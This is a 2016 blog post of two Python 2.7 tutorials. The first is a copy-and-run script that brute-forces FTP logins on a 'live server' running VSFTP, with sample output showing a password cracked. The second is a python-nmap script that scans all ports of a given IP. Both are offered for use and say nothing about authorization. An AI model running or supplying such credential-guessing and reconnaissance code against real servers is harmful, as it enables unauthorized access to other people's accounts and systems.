Sunday 14 August 2016

brute force attack with python

Today i will show how to do brute force attack on a live server using python . Its for python 2.7 .

I will show how to do it on VSFTP server .

Just make a file called 1.py . Paste the following to the file 1.py

import socket
import re
import sys
def connection(ip,user,passwd):
        s=socket.socket()
        print'Trying',ip,':',user,':',passwd
        s.connect((ip,21))
        data=s.recv(1024)
        s.send('USER '+user+'\r\n')
        data=s.recv(1024)
        s.send('PASS '+passwd+'\r\n')
        data=s.recv(1024)
        s.send('quit\r\n')
        s.close()
        return data
user='user Name'
passwords=['test','test1','test2','rest4','hell']
for password in passwords:
                p=connection('IPof the PC or server ',user,password)
                if "230" in p:
                        print 'We got it User:',user,'Password:',password
                        socket.socket().close()
                else:
                        print'Sorry'

You will get a out put like this :


Trying 192.168.145.132 : user : test
Sorry
Trying 192.168.145.132 : user : test1
Sorry
Trying 192.168.145.132 : user: test2
Sorry
Trying 192.168.145.132 : user: rest4
Sorry
Trying 192.168.145.132 : user: hell
We got it User: user Password: hell


Dats it . Enjoy .





scan a ip using python script

Today i am going to create a script which will scan a given ip . Script will take the ip from user as argument .


just copy the bellow script as 1.py

import nmap
import sys
u=sys.argv[1:]
print u
y= u[0]
print y
ns=nmap.PortScanner()
print 'Welcome to ',ns.nmap_version(),'scan:'
print 'For the given ip , the follwoing ports are open __:\n\n'
ns.scan(y,'1-65000','-v')
print ns.csv()
print 'For the TCP porotocol the following ports are open__:'
print '\n\n',ns[y]['tcp'].keys()


While running this script you have to mention the ip as argument like bellow :

python2.7 1.py 192.168.145.132

You will get out like bellow __:

python2.7 1 192.168.145.132
['192.168.145.132']
192.168.145.132
Welcome to  (7, 12) scan:
For the given ip , the follwoing ports are open __:


host;hostname;hostname_type;protocol;port;name;state;product;extrainfo;reason;version;conf;cpe
192.168.145.132;anuj.com;PTR;tcp;22;ssh;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;514;shell;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;3306;mysql;open;;;syn-ack;;3;
192.168.145.132;anuj.com;PTR;tcp;9090;zeus-admin;open;;;syn-ack;;3;

For the TCP porotocol the following ports are open__:


[514, 3306, 22, 9090]


You can do lots of improvement with this script .

Popular Posts